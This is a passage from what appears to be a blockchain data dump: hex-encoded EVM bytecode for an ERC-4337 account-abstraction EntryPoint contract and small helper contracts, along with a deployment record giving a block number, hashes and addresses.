ffffffffffffffffffffffffffffffffffffffffffe016820190925261354091810190614f21565b60015b61358757896135536108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190614f3a565b945073ffffffffffffffffffffffffffffffffffffffff82166136445773ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902080548089111561363e578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f41413231206469646e2774207061792070726566756e64000000000000000000606082015260800190565b88900390555b5050505095945050505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832084821c808552925282208054849167ffffffffffffffff831691908561369e836147fd565b909155501495945050505050565b60606000805a855160e081015173ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020805493945091929091908781101561375b578a6040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413331207061796d6173746572206465706f73697420746f6f206c6f770000606082015260800190565b87810382600001819055506000846080015190508373ffffffffffffffffffffffffffffffffffffffff166352b7512c828d8d602001518d6040518563ffffffff1660e01b81526004016137b193929190614efc565b60006040518083038160008887f19350505050801561381057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261380d9190810190614f87565b60015b613854578b6138206108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190615008565b9098509650805a870311156138f4578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526027908201527f41413336206f766572207061796d6173746572566572696669636174696f6e4760608201527f61734c696d697400000000000000000000000000000000000000000000000000608082015260a00190565b50505050505094509492505050565b6000808260000361391957506000928392509050565b600061392484613d7e565b9050806040015165ffffffffffff1642118061394b5750806020015165ffffffffffff1642105b905194909350915050565b60008183106139655781613967565b825b9392505050565b6000604051828085833790209392505050565b6000808061399260148286886149e5565b61399b91614a0f565b60601c6139ac6024601487896149e5565b6139b591615055565b60801c6139c660346024888a6149e5565b6139cf91615055565b9194506fffffffffffffffffffffffffffffffff16925060801c90509250925092565b8015610fb45782515173ffffffffffffffffffffffffffffffffffffffff81163b15613a8357846040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601f908201527f414131302073656e64657220616c726561647920636f6e737472756374656400606082015260800190565b6000613aa460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3686600001516040015186866040518463ffffffff1660e01b8152600401613ae7929190614929565b60206040518083038160008887f1158015613b06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b2b919061493d565b905073ffffffffffffffffffffffffffffffffffffffff8116613bb357856040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601b908201527f4141313320696e6974436f6465206661696c6564206f72204f4f470000000000606082015260800190565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c5057856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313420696e6974436f6465206d7573742072657475726e2073656e646572606082015260800190565b8073ffffffffffffffffffffffffffffffffffffffff163b600003613cd957856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313520696e6974436f6465206d757374206372656174652073656e646572606082015260800190565b6000613ce860148286886149e5565b613cf191614a0f565b60601c90508273ffffffffffffffffffffffffffffffffffffffff1686602001517fd51a9c61267aa6196961883ecf5ff2da6619c37dac0fa92122513fb32c032d2d83896000015160e00151604051613d6d92919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60405180910390a350505050505050565b60408051606081018252600080825260208201819052918101919091528160a081901c65ffffffffffff8116600003613dba575065ffffffffffff5b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff909316835260d09490941c602083015265ffffffffffff16928101929092525090565b6040518060a00160405280613e89604051806101400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b8152602001600080191681526020016000815260200160008152602001600081525090565b6040518060a00160405280613eeb6040518060a0016040528060008152602001600081526020016000815260200160008152602001606081525090565b8152602001613f0d604051806040016040528060008152602001600081525090565b8152602001613f2f604051806040016040528060008152602001600081525090565b8152602001613f51604051806040016040528060008152602001600081525090565b8152602001613f5e613f63565b905290565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001613f5e604051806040016040528060008152602001600081525090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b60405290565b604051610140810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561406b5761406b613fa8565b604052919050565b600067ffffffffffffffff82111561408d5761408d613fa8565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b73ffffffffffffffffffffffffffffffffffffffff811681146140db57600080fd5b50565b80356110ec816140b9565b60008183036101c08112156140fd57600080fd5b614105613fd7565b91506101408082121561411757600080fd5b61411f614000565b915061412a846140de565b82526020840135602083015260408401356040830152606084013560608301526080840135608083015260a084013560a083015260c084013560c083015261417460e085016140de565b60e0830152610100848101359083015261012080850135908301529082528201356020820152610160820135604082015261018082013560608201526101a0909101356080820152919050565b60008083601f8401126141d357600080fd5b50813567ffffffffffffffff8111156141eb57600080fd5b60208301915083602082850101111561420357600080fd5b9250929050565b600080600080610200858703121561422157600080fd5b843567ffffffffffffffff8082111561423957600080fd5b818701915087601f83011261424d57600080fd5b813561426061425b82614073565b614024565b81815289602083860101111561427557600080fd5b81602085016020830137600060208383010152809750505061429a88602089016140e9565b94506101e08701359150808211156142b157600080fd5b506142be878288016141c1565b95989497509550505050565b6000602082840312156142dc57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461396757600080fd5b60006020828403121561431e57600080fd5b813563ffffffff8116811461396757600080fd5b803577ffffffffffffffffffffffffffffffffffffffffffffffff811681146110ec57600080fd5b60006020828403121561436c57600080fd5b61396782614332565b6000806040838503121561438857600080fd5b8235614393816140b9565b91506143a160208401614332565b90509250929050565b600080604083850312156143bd57600080fd5b82356143c8816140b9565b946020939093013593505050565b600061012082840312156143e957600080fd5b50919050565b60006020828403121561440157600080fd5b813567ffffffffffffffff81111561441857600080fd5b61302b848285016143d6565b60006020828403121561443657600080fd5b8135613967816140b9565b60005b8381101561445c578181015183820152602001614444565b50506000910152565b6000815180845261447d816020860160208601614441565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152815160208201526020820151604082015260408201516060820152606082015160808201526080820151151560a0820152600060a083015160c08084015261302b60e0840182614465565b60008083601f84011261451057600080fd5b50813567ffffffffffffffff81111561452857600080fd5b6020830191508360208260051b850101111561420357600080fd5b60008060006040848603121561455857600080fd5b833567ffffffffffffffff81111561456f57600080fd5b61457b868287016144fe565b909450925050602084013561458f816140b9565b809150509250925092565b6000806000604084860312156145af57600080fd5b83356145ba816140b9565b9250602084013567ffffffffffffffff8111156145d657600080fd5b6145e2868287016141c1565b9497909650939450505050565b6000806020838503121561460257600080fd5b823567ffffffffffffffff81111561461957600080fd5b614625858286016141c1565b90969095509350505050565b602080825282516101408383015280516101608401529081015161018083015260408101516101a083015260608101516101c08301526080015160a06101e0830152600090614684610200840182614465565b905060208401516146a2604085018280518252602090810151910152565b506040840151805160808581019190915260209182015160a08601526060860151805160c087015282015160e0860152850151805173ffffffffffffffffffffffffffffffffffffffff1661010086015280820151805161012087015290910151610140850152509392505050565b6000806000806060858703121561472757600080fd5b843567ffffffffffffffff8082111561473f57600080fd5b61474b888389016143d6565b95506020870135915061475d826140b9565b909350604086013590808211156142b157600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b82815260406020820152600061302b6040830184614465565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b80820180821115610a2c57610a2c6147bb565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361482e5761482e6147bb565b5060010190565b81810381811115610a2c57610a2c6147bb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18336030181126148ab57600080fd5b9190910192915050565b8183823760009101908152919050565b821515815260406020820152600061302b6040830184614465565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b60208152600061302b6020830184866148e0565b60006020828403121561494f57600080fd5b8151613967816140b9565b65ffffffffffff818116838216019080821115614979576149796147bb565b5092915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126149b557600080fd5b83018035915067ffffffffffffffff8211156149d057600080fd5b60200191503681900382131561420357600080fd5b600080858511156149f557600080fd5b83861115614a0257600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008135818116916014851015614a4f5780818660140360031b1b83161692505b505092915050565b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa18336030181126148ab57600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614ac057600080fd5b83018035915067ffffffffffffffff821115614adb57600080fd5b6020019150600581901b360382131561420357600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614b2857600080fd5b830160208101925035905067ffffffffffffffff811115614b4857600080fd5b80360382131561420357600080fd5b6000610120614b8384614b69856140de565b73ffffffffffffffffffffffffffffffffffffffff169052565b60208301356020850152614b9a6040840184614af3565b826040870152614bad83870182846148e0565b92505050614bbe6060840184614af3565b8583036060870152614bd18382846148e0565b925050506080830135608085015260a083013560a085015260c083013560c0850152614c0060e0840184614af3565b85830360e0870152614c138382846148e0565b92505050610100614c2681850185614af3565b86840383880152614c388482846148e0565b979650505050505050565b6040808252810184905260006060600586901b830181019083018783805b89811015614ce3577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa087860301845282357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18c3603018112614cc1578283fd5b614ccd868d8301614b57565b9550506020938401939290920191600101614c61565b505050508281036020840152614c388185876148e0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600060038610614d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b85825260806020830152614d796080830186614465565b6040830194909452506060015292915050565b6020815260006139676020830184614465565b604081526000614db26040830185614b57565b90508260208301529392505050565b8051805173ffffffffffffffffffffffffffffffffffffffff1683526020810151602084015260408101516040840152606081015160608401526080810151608084015260a081015160a084015260c081015160c084015260e0810151614e4060e085018273ffffffffffffffffffffffffffffffffffffffff169052565b5061010081810151908401526101209081015190830152602081015161014083015260408101516101608301526060810151610180830152608001516101a090910152565b6000610200808352614e9981840187614465565b9050614ea86020840186614dc1565b8281036101e0840152614ebb8185614465565b9695505050505050565b6000610200808352614eda81840187896148e0565b9050614ee96020840186614dc1565b8281036101e0840152614c388185614465565b606081526000614f0f6060830186614b57565b60208301949094525060400152919050565b600060208284031215614f3357600080fd5b5051919050565b82815260606020820152600d60608201527f4141323320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b60008060408385031215614f9a57600080fd5b825167ffffffffffffffff811115614fb157600080fd5b8301601f81018513614fc257600080fd5b8051614fd061425b82614073565b818152866020838501011115614fe557600080fd5b614ff6826020830160208601614441565b60209590950151949694955050505050565b82815260606020820152600d60608201527f4141333320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b7fffffffffffffffffffffffffffffffff000000000000000000000000000000008135818116916010851015614a4f5760109490940360031b84901b169092169291505056fea264697066735822122022e02178dc569768380168e9e3ea80c02f334e22212a424c7e3d8b24376c948964736f6c63430008170033608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063c18f522614610030575b600080fd5b61004361003e36600461023a565b610059565b6040516100509190610403565b60405180910390f35b606060008251600161006b9190610485565b67ffffffffffffffff811115610083576100836101bc565b6040519080825280602002602001820160405280156100b657816020015b60608152602001906001900390816100a15790505b50905060005b83518110156101b25760608573ffffffffffffffffffffffffffffffffffffffff1663850aaf6260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878581518110610116576101166104bf565b60200260200101516040518363ffffffff1660e01b815260040161013b9291906104ee565b600060405180830381600087803b15801561015557600080fd5b505af1925050508015610166575060015b61018b573d604051602082018101604052818152816000602083013e915061018b9050565b8083838151811061019e5761019e6104bf565b6020908102919091010152506001016100bc565b5090505b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715610232576102326101bc565b604052919050565b600080604080848603121561024e57600080fd5b833573ffffffffffffffffffffffffffffffffffffffff8116811461027257600080fd5b925060208481013567ffffffffffffffff8082111561029057600080fd5b8187019150601f88601f8401126102a657600080fd5b8235828111156102b8576102b86101bc565b8060051b6102c78682016101eb565b918252848101860191868101908c8411156102e157600080fd5b87870192505b8383101561038c578235868111156102ff5760008081fd5b8701603f81018e136103115760008081fd5b8881013587811115610325576103256101bc565b6103548a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe089840116016101eb565b8181528f8c8385010111156103695760008081fd5b818c84018c83013760009181018b019190915283525091870191908701906102e7565b8099505050505050505050509250929050565b6000815180845260005b818110156103c5576020818501810151868301820152016103a9565b5060006020828601015260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011685010191505092915050565b600060208083016020845280855180835260408601915060408160051b87010192506020870160005b82811015610478577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261046685835161039f565b9450928501929085019060010161042c565b5092979650505050505050565b808201808211156101b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8316815260406020820152600061051d604083018461039f565b94935050505056fea2646970667358221220eeb9aca990134adf0a85230089406f5dd50171f3e00b1113b75843586c06007764736f6c63430008170033
| |
1 | 19,502,280 |
fca9f9b42a4ea0075e7559b1e51454201710d43d27b245614cd84cc06a373300
|
19c605fc31773cb22b41707b60a0d8d3201ce68df890f15c4b17dd04df29a35c
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
e629eb112f891a341cd2b66b2376ba68e7011241
|
9af45e9497b6dc7e9188565d4d764ff6c8569391
|
60a060405260405162000012906200009d565b604051809103906000f0801580156200002f573d6000803e3d6000fd5b506001600160a01b0390811660805260408051808201825260008082528251808401909352808352602080840191825282018390529051600380546001600160a01b031916919094161790925551600455516005553480156200009157600080fd5b506001600255620000ab565b610233806200519583390190565b6080516150d1620000c4600039600050506150d16000f3fe60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b505050600101611154565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b6001820154730100000000000000000000000000000000000000900465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b5